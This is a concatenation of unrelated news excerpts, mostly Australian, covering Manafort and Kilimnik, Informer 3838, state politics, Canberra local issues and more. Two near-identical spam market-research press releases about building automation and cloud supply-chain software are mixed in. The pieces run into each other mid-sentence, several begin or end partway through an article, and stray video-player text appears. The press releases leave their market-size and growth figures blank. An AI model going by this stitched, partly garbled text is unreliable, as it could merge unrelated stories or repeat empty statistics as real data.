Manafort viewed Kilimnik - his liaison to high-level Ukrainian politicians and Russian billionaire Oleg Deripaska - as key to leveraging his unpaid role as Trump's campaign chairman, emails reviewed by The Post show. The two were in frequent contact during Manafort's tenure at Trump's campaign, according to court records. A Russian army veteran who had trained at a military language academy known as a feeder school for the intelligence services, Kilimnik had worked for Manafort since 2005, when he began serving as a translator for Manafort's Ukraine operation. In documents filed in court last year, Mueller's prosecutors wrote that Gates, Manafort's deputy, said Kilimnik told him he had formerly been an officer in the GRU, the Russian military intelligence unit accused of engineering the 2016 election interference. Prosecutors said the FBI has assessed that Kilimnik's intelligence ties continued into 2016. Kilimnik was also well known at the US Embassy in Kiev, and officials there met with him frequently to discuss Ukrainian politics, according to people familiar with his work. During last week's hearing, prosecutors acknowledged there was "no question" Kilimnik had been in communications with State Department officials. Manafort told The Times in February 2017 he had never "knowingly" spoken to a Russian intelligence officer. "It's not like these people wear badges that say, 'I'm a Russian intelligence officer'," he added.

Loading A cryptic note In April 2016, Manafort emailed Kilimnik to ask if the "OVD operation" had seen the positive press Manafort was receiving for his Trump work. That was an apparent reference to Deripaska, a onetime Manafort business partner. "How do we use to get whole?" Manafort wrote. Kilimnik has told The Post he came to the United States and met with Manafort on May 7 to discuss business issues.

Then, on July 7, Manafort emailed Kilimnik, asking him to inform Deripaska that if he needed "private briefings" about the campaign, "we can accommodate". Loading A Deripaska spokeswoman has said he was never offered nor received campaign briefings. Manafort spokesman Jason Maloni also said no briefings for Deripaska took place, telling The Post in 2017 the email exchanges reflected an "innocuous" effort to collect past debts. On July 29, 2016, Kilimnik wrote Manafort a cryptic note. Kilimnik told Manafort he had met that day with the man who had given Manafort "the biggest black caviar jar several years ago". The Post has previously reported that congressional investigators believed Kilimnik's reference to "black caviar" was a code for money.

Kilimnik wrote that he and the man had talked for five hours and he had important messages to relay to Manafort as a result. Kilimnik asked when Manafort would be available to meet. "Tuesday would be best," Manafort responded. The following Tuesday was August 2. When they saw each other days later at the Grand Havana Club, one topic the men discussed was a peace proposal for Ukraine, an agenda item Russia was seeking as a key step to lift punishing economic sanctions, according to court records. Prosecutors have accused Manafort of lying to them about how frequently he and Kilimnik discussed the matter - initially telling investigators he would not "countenance" the idea because he viewed it as a "backdoor" of some kind. Despite Manafort's claim of disinterest, prosecutors said he and Kilimnik continued to pursue the subject in several subsequent meetings, including one in January 2017 when the Russian was in Washington, D.C, for Trump's inauguration. In court, Manafort's lawyers contended that he was candid about the discussions when reminded by prosecutors and denied that his account has been inconsistent.

What was shared at the cigar bar There are also indications in the transcript of last week's hearing that prosecutors have explored whether it was at the Manhattan cigar bar that Manafort shared polling data related to the 2016 White House race with Kilimnik - another topic about which Manafort lied, they allege. The sharing of that data was first disclosed, apparently inadvertently, in a court filing by Manafort's attorneys last month. At the time, it was unclear when Manafort passed along the information to his Russian employee - as well as the substance of the material. Russian billionaire Oleg Deripaska pictured in 2015. Credit:AP During last week's hearing, the judge devoted a significant portion of time to discussing what appeared to be the polling data - something she noted Manafort initially said "just was public information".

Weissmann said Manafort had a motive to lie about sharing material with Kilimnik as he was running Trump's campaign. "It's obviously an extremely sensitive issue," the prosecutor said, adding: "We can see what it is that he would be worried about." What exactly might have been shared with Kilimnik at the Grand Havana Club appears to be a matter of dispute. On the day of gathering, Manafort sent Gates an email asking him to print material for a meeting, according to court records. The substance of the material has not been publicly disclosed. An attorney for Gates declined to comment.

Jackson indicated in the hearing that Gates has testified that the material was shared at the Grand Havana Club gathering. "Didn't he say it happened at the meeting?" she asked. "I don't believe so," responded Richard Westling, an attorney for Manafort. Westling noted the email Gates printed did not specifically reference Kilimnik, implying the material may not have been for the Russian. And he argued that Gates has offered inconsistent accounts and should not be believed. Paul Manafort was booked into a detention centre in August 2018. Credit:AP Manafort's defence team also suggested the information was too detailed to be helpful and would have been useless to Kilimnik. "It frankly, to me, is gibberish ... It's not easily understandable," Westling said.

Jackson appeared skeptical. "That's what makes it significant and unusual," the judge said. As a longtime aide to Manafort, Kilimnik had experience using public surveys. In a February 2017 interview, Kilimnik described to Radio Free Europe the key role polling has played in Manafort's political consulting. "I've seen him work in different countries, and he really just does, you know, takes very seriously his polling and, you know, he can stand, you know, two weeks going through the data, and he'll come with the best strategy you can ever have, and he'll put it on the table of the candidate," Kilimnik said. It is unclear how long Kilimnik remained in the United States after the Grand Havana Club meeting. Flight records show that a private plane belonging to Deripaska landed at Newark Liberty International Airport shortly after midnight on August 3, just hours after Kilimnik and Manafort met. The plane spent only a few hours on the ground before taking off again and returning to Moscow.Beijing: A new film from celebrated Chinese director Zhang Yimou that tells the story of an escapee from a labour camp has mysteriously been pulled from the Berlin Film Festival.

It was set in China's western desert.

Chinese director Zhang Yimou holds his award for Best Director at the 55th Golden Horse Awards in Taipei, Taiwan. The latest film from Zhang has been dropped from the Berlin International Film Festival for "technical reasons." Credit:AP

Zhang's film One Second was due to have its international premiere on Friday.

Instead an old blockbuster action movie by Zhang will be shown in its place.Conservative Victorian Liberals have been accused of plotting to derail the partys federal election campaign by petitioning for an urgent meeting to discuss a lack of preparedness for the federal poll.

The Victorian branch is now facing more internal strife as conservative members prepare to wage war on the partys internal decision-making body  the administrative committee.

Treasurer Josh Frydenberg may be called upon to cool tensions with conservatives within the Victorian Liberal Party. Credit:AAP.

Victoria's most senior Liberal, Josh Frydenberg, may be forced to intervene to stave off a factional implosion and stop the rogue petition which, its backers say, has attracted enough support to trigger a meeting of the 1500-member state council.

The latest stoush threatens to become another potentially damaging distraction with a federal election now less than 100 days away.Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili.

February 13, 2019: In 2018, the global Building Automation Software market size was million US$ and it is expected to reach million US$ by the end of 2025, with a CAGR of during 2019-2025.

This report focuses on the global Building Automation Software status, future forecast, growth opportunity, key market and key players. The study objectives are to present the Building Automation Software development in United States, Europe and China.

The key players covered in this study

Automated Logic

Honeywell International

Johnson Controls

Download sample Copy of This Report at: https://www.radiantinsights.com/research/global-building-automation-software-market-size-status-and-forecast-2019-2025/request-sample

Schneider Electric

Siemens

Advantech

BuildingIQ

Cisco

Control4

Iconics

Mass Electronics (Innotech)

Trane

REGIN

Fibaro

Euroicc

Browse Full Report With TOC @ https://www.radiantinsights.com/research/global-building-automation-software-market-size-status-and-forecast-2019-2025

Market segment by Type, the product can be split into

Central Air Conditioning Systems

Power Supply and Distribution Systems

Lighting Systems

Water Supply and Drainage Systems

Other

Market segment by Application, split into

Residential Building

Commercial Building

Industrial Building

Market segment by Regions/Countries, this report covers

United States

Europe

China

Japan

Southeast Asia

India

Central & South America

The study objectives of this report are:

To analyze global Building Automation Software status, future forecast, growth opportunity, key market and key players.

To present the Building Automation Software development in United States, Europe and China.

To strategically profile the key players and comprehensively analyze their development plan and strategies.

To define, describe and forecast the market by product type, market and key regions.

In this study, the years considered to estimate the market size of Building Automation Software are as follows:

History Year: 2014-2018

Base Year: 2018

Estimated Year: 2019

Forecast Year 2019 to 2025

For the data information by region, company, type and application, 2018 is considered as the base year. Whenever data information was unavailable for the base year, the prior year has been considered.

About Radiant Insights

Radiant Insights is a platform for companies looking to meet their market research and business intelligence requirements. We assist and facilitate organizations and individuals procure market research reports, helping them in the decision making process. We have a comprehensive collection of reports, covering over 40 key industries and a host of micro markets. In addition to over extensive database of reports, our experienced research coordinators also offer a host of ancillary services such as, research partnerships/ tie-ups and customized research solutions.

For More Information, Visit Radiant Insights

Contact:

Michelle Thoras

Corporate Sales Specialist, USA

Radiant Insights, Inc

Phone: 1-415-349-0054

Toll Free: 1-888-202-9519

Email: sales@radiantinsights.com

Blog URL: http://ictmarketforecasts.wordpress.comSome of Melbournes busiest railway lines are in urgent need of capacity upgrades, Infrastructure Australia has said, warning that public transport congestion in the city will hit the Australian economy if left to worsen.

The national advisory body has pinpointed several rail lines, including the Hurstbridge, Mernda, Melton, Craigieburn and Cranbourne lines, as potential barriers to economic productivity, with its projections showing peak-hour demand is on course to outstrip capacity.

The $600 million Mernda rail extension opened just six months ago but is already under pressure.

Rail congestion is rising as big population increases in the outer suburbs combine with job concentration in the inner city.

The congestion threatened to leave Melbourne commuters stranded on platforms and force them back into their cars, Infrastructure Australia warned.A police officer-turned-politician has fought back tears while describing how strange men turned up at the door of a mother after her face was photoshopped onto a pornographic image.

Member for Macalister Melissa McMahon said the fake image was posted online with the Queensland woman's name, address and contact details as well as directions about how to approach her.

Revenge porn legislation has passed in the Queensland Parliament. Credit:iStock

These included: "Don't knock, just come in. She loves to be tortured and raped."

"Sure enough, men came to her home and knocked on her door, even when she had her three-month-old child with her," Ms McMahon said.Premier Gladys Berejiklian has vowed to halve the number of people sleeping on the state's streets by 2025, promising to tackle the "root causes" of homelessness.

Ms Berejiklian pledged her government's commitment to the target as she signed an agreement alongside representatives from homelessness service providers and the City of Sydney at NSW Parliament on Wednesday.

The "tent city" in Martin Place - which was erected by rough sleepers in 2017 and later dismantled - sparked a standoff between the state government and the City of Sydney. Credit:Michele Mossop

"The social problems that are attached to homelessness and the cycle of homelessness are really the root cause of what we need to deal with," Ms Berejiklian said.

"We know, unfortunately, that those who are prone to homelessness - even after you provide a roof over their head - need that wrap-around support of other services to ensure their opportunity for independence."NSW Labor leader Michael Daley has opened the door to commercialising the heritage-listed Callan Park in Sydney's inner-west while announcing he would create a $5 million trust to restore the site's dilapidated buildings.

Mr Daley on Wednesday promised a Labor government would spend $10 million - $5 million on a public trust and $5 million for the trust to spend on repairs and restorations - to ensure Callan Park in Lilyfield has a "positive future".

Callan Park has long been a sensitive political issue. Credit:Louie Douvis

However, he also said he would be open to allowing cafes and restaurants to operate on the sprawling grounds, which is illegal.

"I wouldnt discount some cafes and restaurants coming in here, having a meal in that building and looking out at this beautiful community with the harbour close-by," Mr Daley said.Telstra CEO Andy Penn. Telstra and its peers are calling for a massive write-down in the value of the national broadband network. Credit:Ryan Stuart

Only this week Telstras Andy Penn called for policy changes to the economics of the NBN to lower its wholesale prices. Telstra and the other major retailers have complained that they are generating minuscule, if any, margin from reselling NBN capacity because its wholesale prices are too high.

The shadow communications minister, Michelle Rowland, has consistently declined to rule out the write-down that NBN retailers have been calling for with increasing vehemence.

It seems clear that, should it win the federal election, Labor is seriously considering a massive write-down of the value of the national broadband network. Its not quite so clear how it could do it.

A big write-down would, in theory, enable NBN Co to lower its prices while still generating a positive internal rate of return (IRR), a prerequisite for keeping the $51 billion enterprise, its $19.5 billion of debt and multibillion-dollar losses off-budget.

There is, however, a rather significant obstacle to NBN Co absorbing a write-down big enough to have a meaningful impact on wholesale costs.

The number thats been bandied about in the industry is $20 billion. Unfortunately, while the government has contributed $29.5 billion of equity to NBN Co, it doesnt actually have $29.5 billion of equity today.

Because the NBN is still in its build phase  this is the peak year for the roll-out  it has made very large losses over the near-decade since it was established. At the end of last financial year it had accumulated losses of $17.3 billion, reducing its equity base to $12.2 billion.

While the losses will reduce once the NBN is essentially completed in 2019-20, it probably wont be generating meaningful profits and generating equity until closer to the middle of the next decade, by which point it might have less than $10 billion of equity.A draft version of the review into the embattled live exports industry declared the Department of Agriculture had "failed" to regulate the trade and referred to "corruption" risks, but the criticisms were removed after being shown to public servants.

Philip Moss Credit:www.aic.gov.au

The revelation raises questions why Philip Moss' independent examination of the Department of Agriculture's regulation of the live exports trade was provided to the department ahead of its completion, and why some of the suggested changes appear to have been accepted.

Documents obtained by Greens senator Mehreen Faruqi show Mr Moss submitted several drafts of his review to the department before it was publicly released in September.

The changes were submitted to the department using software that can track and record changes as they are made or suggested.ACT Corrections Minister Shane Rattenbury will release results of a study into the options to deal with Canberra's growing prisoner population - a study completed more than a year ago - after political pressure from the Opposition.

Opposition corrections spokeswoman Giulia Jones called for the study results to be released on Wednesday during debate on her motion in the Legislative Assembly.

Opposition corrections spokeswoman Giulia Jones in the Assembly with a graph showing the rising prison population on Wednesday. Credit:Karleen Minney

Mrs Jones said the population of prisoners in the territory's adult prison, the Alexander Maconochie Centre, had reached a record 507 inmates last year, just four shy of the 511-bed capacity of the prison.

The prison was opened in 2008 with a capacity of 439 beds, but was expanded in 2016, and has since continued to come under increasing pressure from rising detainee numbers.Greens minister Shane Rattenbury says government must prepare for a surge in cannabis users seeking mental health support, if the drug is legalised in the ACT.

However Mr Rattenbury said the increase would stem from existing users, who were too scared to seek help for their addiction while the drug was still outlawed.

Mental Health Minister Shane Rattenbury said he wanted to remove the stigma so cannabis users could seek help. Credit:Jamila Toderas

The Mental Health Minister was responding to questions from Liberals Vicki Dunne and Giulia Jones, who questioned what advice the territory government has had from its various directorates about the backbench bid to legalise cannabis for personal use.

The private members bill from Labor's Michael Pettersson has attracted support from Labor and the Greens, although debate over the details of the legislation is expected to stretch over the coming months.Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili.

February 13, 2019: In 2018, the global Cloud Supply Chain Management market size was million US$ and it is expected to reach million US$ by the end of 2025, with a CAGR of during 2019-2025.

This report focuses on the global Cloud Supply Chain Management status, future forecast, growth opportunity, key market and key players. The study objectives are to present the Cloud Supply Chain Management development in United States, Europe and China.

The key players covered in this study

Cloudlogix

Highjump

Infor

Download sample Copy of This Report at: https://www.radiantinsights.com/research/global-cloud-supply-chain-management-market-size-status-and-forecast-2019-2025/request-sample

JDA Software Group

Kewill

Kinaxis

Logility

Manhattan Associates

Oracle Corporation

SAP SE

Tecsys

The Descartes Systems Group

View summary of this report @ https://www.radiantinsights.com/research/global-cloud-supply-chain-management-market-size-status-and-forecast-2019-2025

Market segment by Type, the product can be split into

Training and Consulting

Support and Maintenance

Managed Services

Market segment by Application, split into

Public Cloud

Private Cloud

Hybrid Cloud

Market segment by Regions/Countries, this report covers

United States

Europe

China

Japan

Southeast Asia

India

Central & South America

The study objectives of this report are:

To analyze global Cloud Supply Chain Management status, future forecast, growth opportunity, key market and key players.

To present the Cloud Supply Chain Management development in United States, Europe and China.

To strategically profile the key players and comprehensively analyze their development plan and strategies.

To define, describe and forecast the market by product type, market and key regions.

In this study, the years considered to estimate the market size of Cloud Supply Chain Management are as follows:

History Year: 2014-2018

Base Year: 2018

Estimated Year: 2019

Forecast Year 2019 to 2025

About Radiant Insights

Radiant Insights is a platform for companies looking to meet their market research and business intelligence requirements. We assist and facilitate organizations and individuals procure market research reports, helping them in the decision making process. We have a comprehensive collection of reports, covering over 40 key industries and a host of micro markets. In addition to over extensive database of reports, our experienced research coordinators also offer a host of ancillary services such as, research partnerships/ tie-ups and customized research solutions.

For More Information, Visit Radiant Insights

Contact:

Michelle Thoras

Corporate Sales Specialist, USA

Radiant Insights, Inc

Phone: 1-415-349-0054

Toll Free: 1-888-202-9519

Email: sales@radiantinsights.com

Blog URL: http://ictmarketforecasts.wordpress.comThe skyline of Subiaco looks set for its biggest ever change with the council resolving to recommend approval for a 24-storey development at the old Subiaco Pavilion Markets site on the corner of Rokeby and Roberts roads.

In its second meeting in a row to run past midnight, after the contentious new planning scheme was approved last week, the city council endorsed the proposal.

An artist's impression of the new markets planned for the old Subi markets site. Credit:Blackburne Property Group.

Of 530 public submissions the council received on the proposal, there were 457 in support.

The vote was eight to four in favour of endorsing the proposal, despite some opposition to the building height from locals concerned about preserving the existing heritage character of the neighbourhoodA 14-year-old boy has been accused of starting a fire in Warwick on Tuesday which threatened homes and burnt through two hectares of bushland.

A 14-year-old boy is accused of starting a fire in Warwick on Tuesday (file picture)

Arson Squad detectives will allege the boy started the fire in scrub around 3.30pm near Warwick open space on Lloyd Drive.

About 40 career and volunteer firefighters attended to stop the blaze spreading to nearby homes.

The fire was eventually contained, with firefighters working to strengthen containment lines and mopping up into the evening.That there has been neither resolution nor improvement  its worse now than I remember it being in the `90s  is not only horrifically sad, its bordering on criminal neglect. Findings released last week by State Coroner Ros Fogliani following an inquest into the suicides  including two in Broome  of 13 Indigenous children and young people in the Kimberley laid bare the "urgent need to understand the deep inequalities giving rise to the current poor state of wellbeing of Aboriginal people in the Kimberley region". The coroner referred to the "tragic events" as having been shaped by the "crushing effects of intergenerational trauma and poverty upon entire communities". You don't have to look far to see it for yourself. But you do have to get off your backside.

Loading Replay Replay video Play video Play video A matter of urgency Loading A couple of weeks ago, when half the country was engaged in the annual argument over whether we should change the date of Australia Day, Kerri-Anne Kennerley created a media firestorm when she dared to question if any of those calling for this date change had actually visited remote Indigenous communities where children, babies, five-year-olds are being raped. These people are desperate for help and theyre not getting it, she said.

Now, whether or not you think the date of Australia Day should be changed out of respect to the countrys first inhabitants, as I happen to believe, wasnt Kennerley only trying to highlight the absolute irrelevance of an argument bereft of any actual action? Its very easy to sit in our comfortable homes in big cities and comment on the plight of a group of people plagued by endemic social dysfunction and think weve done our bit by signing a change.org petition or changing our Facebook profile picture to an Aboriginal flag. But how many of us have seen for ourselves the living conditions and intergenerational trauma cited by the coroner that prompted the need for  another  inquest into Indigenous youth suicide? How many have made the effort to not only try to understand why so many Aboriginal kids are taking their own lives, but to actually do something about it? Even the fact that anyone has done this is still not cause for congratulations.

Because here we are again. Another inquest, 10 years after the last one. Whatever were doing to try to help this situation is not working. We are failing these people. And how this is not a national emergency is an absolute disgrace. You cant look away Thomas King runs the Kullari Patrol in Broome. The Kullari van picks up intoxicated people and makes sure they either get home, or to the local "sober-up" shelter, or at least to somewhere safe. Mr King does not think there will be a need for another inquest into Indigenous youth suicides in 10 years. He thinks it will be much sooner. And he is perfectly placed to make such a reckoning. Hes seen it all on the streets of the tropical town, and what hes seen isnt pretty.

Loading This is a town rife with hopelessness, Mr King tells me. I believe him. I can see it with my own eyes. Liquor restrictions in surrounding towns and communities have made Broome a hub for those who want to drink. I met some of them over the past few days: alcoholics for whom one drink is both too much and never enough. Their stories make for heartbreaking reading. But theyre not unique to Broome.On Wednesday, Premier Daniel Andrews said he had not received any indication that extra time would be needed. The commissioner's made it very clear that the commission can do its work with an expanded terms of reference.. but can [still] meet the timelines, he said. The steps the police have recently taken to expunge information about Informer 3838 from public and government records comes after the High Court described her position as a police informer as fundamental and appalling breaches of her obligations to her clients and the legal system. Police have ordered Victorias property registry to erase all details of five properties owned by Informer 3838 from ownership records. Searching those records now reveals nothing at all about her property ownership. Government agencies and websites have also been sent warning notifications to remove any material that either inadvertently or intentionally disclose her identity or personal details. The notices have sparked the taking down of photographs and information that could reveal her potential location.

The moves come despite the former lawyers own habit of ignoring police advice to keep a low profile. Sources say she has continued to live openly in the community, including appearing in social media posts and public events linked to a community group. Victoria Police began removing identifying information ahead of a decision by the High Court in early December that ordered her former clients be informed that her actions could mean their convictions were corrupted and debased. It is unclear whether the steps taken to scrub Informer 3838s identity from the public record has been undertaken with her cooperation or permission. Her client list featured some of Melbourne' most high-profile criminals including murdered gangster Carl Williams, and jailed drug lord Tony Mokbel, drug trafficker Rob Karam and mafia figure Pasquale Barbaro. While her real name remains suppressed by the court, her identity is an open secret in the legal community and criminal underworld, as well as spreading further into the public domain.

Tony Mokbel was a client of Informer 3838. Credit:AAP Police have long argued that the safety of Informer 3838 is the key consideration in keeping her identity a secret. In line with long established best practice Victoria Police does not comment on the security arrangements concerning any person who might be subject to a risk or threat, a police spokesman said. The relationship between Victoria Police and Informer 3838 has been highly combative since word of her cooperation began to leak out more than a decade ago. The barrister has accused police of violating undertakings that her role as secret intelligence source would never be disclosed.

Claiming her life was now in danger and her treatment as a police source had been horribly botched, Informer 3838 sued Victoria Police in 2010 and received a compensation payout of almost $3 million. By then, her career as a barrister was all but over amid growing speculation in the criminal world and legal community that her involvement with police was extensive. Decisions by the High Court, Victorian Supreme Court and Court of Appeal to force the public disclosure of her work as Informer 3838 to her former clients led to the establishment of the royal commission. Throughout the process, Informer 3838 and Victoria Police have been constantly at loggerheads over her safety and how much involvement the force should have in protecting her. The witness is NOT compliant with ANY police instructions[she] will almost certainly breach police instructions, a senior police officer noted in a court affidavit.

The High Court noted that her resistance to accepting police assistance was putting her childrens lives in danger and could justify the state removing them from her care. The former barrister has aired serious concerns about relying on Victoria Police for her protection. At least two high-profile police informers have been murdered while under the care of Victoria Police or Corrections Victoria, including Terence Hodson and Carl Williams. I am not prepared to entrust everything personal to me and my children as well our privacy, safety and wellbeing to the very organization that promised and assured me that my assistance over a number of years would always remain confidential, yet failed so appallingly in protecting my status and indeed, has put my life as well as the lives of my children at risk, she wrote to police in 2014. I have implemented various security and privacy measures to date at my own expense.Thanks for staying with us today.

We'll keep you updated throughout the day on the violent home invasion at Maribyrnong, where it has just been revealed an eight-year-old girl was home when up to six offenders stormed her home and bashed her father with a golf club.

In traffic, inbound on the Eastern Freeway is still slow after the earlier collisions, but it looks like the trains are mostly clear.

Enjoy your Thursday, whether you're celebrating Valentine's Day or not 

See you tomorrow!Slavish conformism to conventional wisdom has done practically nothing to resolve the conflict between the Palestinians and Israel, trapping the sides in a stalemate for decades. Yet, in The Sydney Morning Herald, academic Paul Duffill relied upon traditionally unhelpful cliches in his analysis of recent Australian developments vis-a-vis Israel and the Palestinians (Gap between parties becomes a chasm on Middle East peace).

A Palestinian protester throws back a teargas canister fired by Israeli soldiers during clashes on the border with Gaza. Credit:AP

According to his view, the Morrison governments recognition of west Jerusalem as Israels capital undermined prospects for peace, while the federal Labor Party national conference call for a future ALP government to immediately recognise a Palestinian state bolstered it. A look at some basic recent history shows that, in reality, the opposite is true.

Besides grounding peace expectations in reality  west Jerusalem has been Israels capital since 1949 and is not occupied territory  Morrisons announcement was no free kick for Israel. Rather, for the first time and in a measured way, Australia gave an explicit endorsement to the establishment of a Palestinian state with its capital in east Jerusalem should the Palestinians agree to peace with Israel.

This represented a clear incentive for Palestinian leaders to return to negotiations with Israel with the assurance that Palestinian national aspirations would have the backing of Australia  provided, naturally, they agree to live alongside Israel in peace.A Queensland woman has been found guilty of arranging for her two daughters to have their genitals mutilated in Somalia.

The woman, who cannot be named for legal reasons, denied she had taken the girls, then aged 12 and nine, to her birth nation in April 2015 to undergo the procedure.

The jury handed down its verdict in the Brisbane District Court on Wednesday.

She was convicted by a Brisbane District Court jury on Wednesday of two counts of removing a child from the state for female genital mutilation (FGM).

The jury deliberated for about 90 minutes before reaching their verdict.The death of a woman from a rare bacterial infection in Townsville has highlighted the dangers facing residents cleaning up after the region's major flood event.

The person, understood to be a woman in her 50s, died after contracting melioidosis, a condition caused by a type of bacteria which is commonly found in soil, especially in the tropics.

Chris Mitchell removes flood damaged items out of his father in-law's house in the suburb of Rosslea in flood-affected Townsville Credit:Dan Peled/AAP

There have been nine other recorded cases of melioidosis so far following the recent flooding in Townsville, all of which required hospitalisation.

Dr Mark Blaskovich from the UQ Institute for Molecular Bioscience said normally people would not come into contact with the bacteria, but when floods receded, they left behind mud laced with the microbes.Scott Morrison is attempting to create some electoral victory from the jaws of his historic parliamentary defeat by launching a scare campaign being headlined as Blame Shorten for boats.

Clearly, if any boats do arrive between now and the May election, the Prime Minister will make absolutely sure Labor leader Bill Shorten wears it.

Asylum seekers perished in their attempt to land on Christmas Island. Now Prime Minister Scott Morrison is reopening the detention centre on the island. Credit:Channel Nine News

However, I suspect border security is no longer the issue Morrison would want it to be, with yet another scare campaign on this issue adding to the mounting perception that he and his government are off the pace, increasingly out of touch with mounting electoral sentiment.

To run this scare campaign he will have to be totally dishonest  to totally ignore the facts of the amended legislation that was passed, and to ignore the clear messages of recent byelections, that while voters are happy to have had our borders secured, they have become increasingly concerned by the rampant inhumanity of offshore detention, and the governments failure to deliver an effective resettlement strategy. It still opposes the New Zealand resettlement offer.Two million trees would be planted in Sydney to make it more "liveable" over the next four years under a Labor government if it wins the March election.

Labor leader Michael Daley said his government would spend $50 million to plant two million trees in its first term, with the aim of planting a total of six million by 2030.

Sydney needs more trees, not less. Credit:Daniel Munoz

The state already has a program called "Five Million Trees" (5MT), which aims to plant five million in Greater Sydney by 2030, but Mr Daley said new land clearing laws, dead fish in the Darling River and 800 fig trees chopped down for the light rail project showed the government was "at war with the environment".

"As the city grows, we have to make sure its liveable ... people love green space ... it heals you, nurtures you and it lowers temperatures," he said in Lilyfield on Wednesday. "There are no losers."A brief detente in the war between the Morrison government and the energy sector came just in time for the Liberal Partys $3500 a-head fundraiser on Tuesday night.

On the menu behind closed doors at Hyatt Canberras Centenary room: some good old money-can-buy plain speaking with Energy Minister Angus Taylor.

Present for that warm embrace was a low-level but loyal crowd of just over a dozen people, including dinner hosts Caltex, that brought four of their heavy hitters.

Energy Minister Angus Taylor hosted a fundraising private dinner with industry lobbyists on Tuesday. Illustration: John Shakespeare Credit:

They were led by the companys new chief lobbyist Todd Loydell, its government affairs adviser Philip Skinner and corporate affairs boss Elizabeth Rex.Like many people, Shaun Mhonde feels awkward and uneasy when talking to someone he has just met.

Is my conversation dull? Is the other person bored? Oh, god, why did I say that?

Shaun Mhonde feels like he's super-awkward in conversations. But new research reveals he's probably less awkward than he thinks. Credit:Justin McManus

"Coming off as interesting is the core worry," says Mr Mhonde, a Melbourne-based software developer at MoneyPlace.

If you bump into someone and say something boring, they might just move on, he says. "Speaking to new people comes with a lot of pressure."A sharp drop in the number of mental health patients at Canberra's emergency departments who get treatment within an appropriate timeframe has been blamed on years of neglect.

New government data has shown 60 per cent of mental health patients do not get treatment within a clinically recommended timeframe.

President of the Australasian College for Emergency Medicine Dr Simon Judkins said the college was watching the situation in the ACT closely.

"We are mindful that it has taken years of neglect to get to this point, but we are encouraged that the minister is engaged in solving this critical issue," he said.Next time you ask whether the chicken or egg came first, think of the lizards in South America's Andes Mountains who laid eggs, evolved to birth live young, then evolved to lay eggs again.

Australian National University researcher Damien Esquerre and colleagues found species of the Liolaemus lizards had basically broken Dollo's Law.

Damien Esquerre, pictured with an Australian Barking gecko. Credit:Elesa Kurtz

"[Dollo's Law says] once you lose a structure like limbs in a snake, or eyes in cave animals, or eggs in lizards, it's very, very unlikely to regain it," Mr Esquerre said.

He said it's been reported in two species of snakes, one in Africa and one in the Amazon.The ACT government does not have the resources to properly police building quality in the midst of Canberra's construction boom, a peak housing body says.

The Housing Industry Association has called for a "serious investment" in Access Canberra's building regulation branch, arguing a lack of staff has left it incapable of monitoring compliance across the city's growing number of construction sites.

The Housing Industry Association says more "boots on the ground" are needed to oversee building quality amid Canberra's construction boom. Credit:Graham Tidy

But Access Canberra head Dave Peffer said expanding the branch's 14-member team wouldn't itself fix the problem, as he suggested prospective buyers held one of the keys to lifting building standards in the ACT.

Housing Industry Association ACT/Southern NSW regional executive director Greg Weller said the resourcing of the government's building regulator had not kept pace with the scale of construction work on new apartment and office developments in the nation's capital.ACT Education Minister Yvette Berry has defended her record on addressing school violence and ordered an investigation into the handling of a string of incidents at a Canberra public school, which had left at least one child in hospital.

In November, the minister asked the Education Directorate to look into long-standing complaints about escalating violence at Theodore Primary, after about 30 parents sent her a petition calling for government intervention.

But, while officials met with the school the same month, the directorate confirmed on Wednesday it did not review incidents at the school until last week, following an approach by The Canberra Times.

ACT Education Minister Yvette Berry says she sought personal assurances that policies were in place at the school. Credit:Karleen Minney.

A directorate spokeswoman said "all incidents at the school" had now been looked at and the government was supporting Theodore Primary to put further strategies in place to address behaviour issues.A man found guilty of taking pictures of a woman trying on clothes in a Kmart dressing room has lost an appeal against the finding.

The appeal judge said in a decision published Tuesday that she had reviewed the evidence and did not consider there was reasonable doubt about the guilt of Dane Christian Muench.

Dane Muench in surveillance footage at the shopping centre.

Muench was charged over the October 16, 2016, incident at the Tuggeranong Hyperdome after police published surveillance footage of the suspect and Muench was recognised.

The woman alleged that while she was getting changed a person had tried to film her using a mobile phone under the adjoining cubicle wall.Record levels of dust unseen in the territory have bombarded Canberra this summer, according to scientists.

NSW Office of Environment and Heritage principal research scientist John Leys said Canberra's closest dust-monitoring station in Wagga Wagga had seen a record amount of dust hours this summer.

Wild winds dramatically reduced visibility in Canberra on Tuesday, blanketing Anzac Parade in dust. Credit:Sitthixay Ditthavong

Monitors at Wagga Wagga, west of Canberra, had recorded 48 dust hours in January, well above the national average for that month of 38 hours.

The last time the Canberra region had seen this much dust was 2009, where monitors in Temora, near Wagga Wagga, recorded 37 hours in November 2009.Businesses around the iconic Sydney and Melbourne buildings have broadly welcomed a $4.5 million revamp of the city centre including the space in front of arguably Canberra's most elegant non-political buildings.

The aim is to transform the core of the city into a much more pedestrian friendly area, with more space for street cafes.

The cycle lane on the left used to be bus stops. Credit:Jamila Toderas

The Sydney and Melbourne buildings were modelled in the 1920s on Italian palaces and monasteries with arched arcades or loggias. When the buildings were constructed, they had open first floor verandas which have since been enclosed.

With this original Italian aura, there's now a proposal to extend out-door dining further into the street, and so increase the European cafe society feel.Canberra firefighters look set to vote on taking industrial action after rejecting a 10 per cent pay rise, as their union warns ACT Fire and Rescue needs an extra 204 firefighters to service the city in the next four years.

The United Firefighters Union's ACT branch lodged an application for a protected action ballot order with the Fair Work Commission on Tuesday, having failed to agree on several issues despite 26 enterprise bargaining agreement meetings with the Emergency Services Agency since April 2017.

United Firefighters Union ACT branch secretary Greg McConville, who says firefighters want the money offered to them in pay rises to instead be invested in the fire service. Credit:Karleen Minney

The commission must rule on the application by Thursday. Should it proceed, the Australian Electoral Commission will conduct a ballot, giving union members a chance to vote on whether to take industrial action.

The union's ACT branch secretary, Greg McConville, said firefighters would still respond to incidents and any action would not compromise public safety.There is a system for asking wards to ring through an exemption but this is not made known to visitors or many staff on wards. Can we please have some compassion and clarity to address this issue? Matthew Farran, Bendoc, Vic Fears for West Basin Professor Ken Maher, who is helping guide the design of the West Basin precinct. Credit:Elesa Kurtz

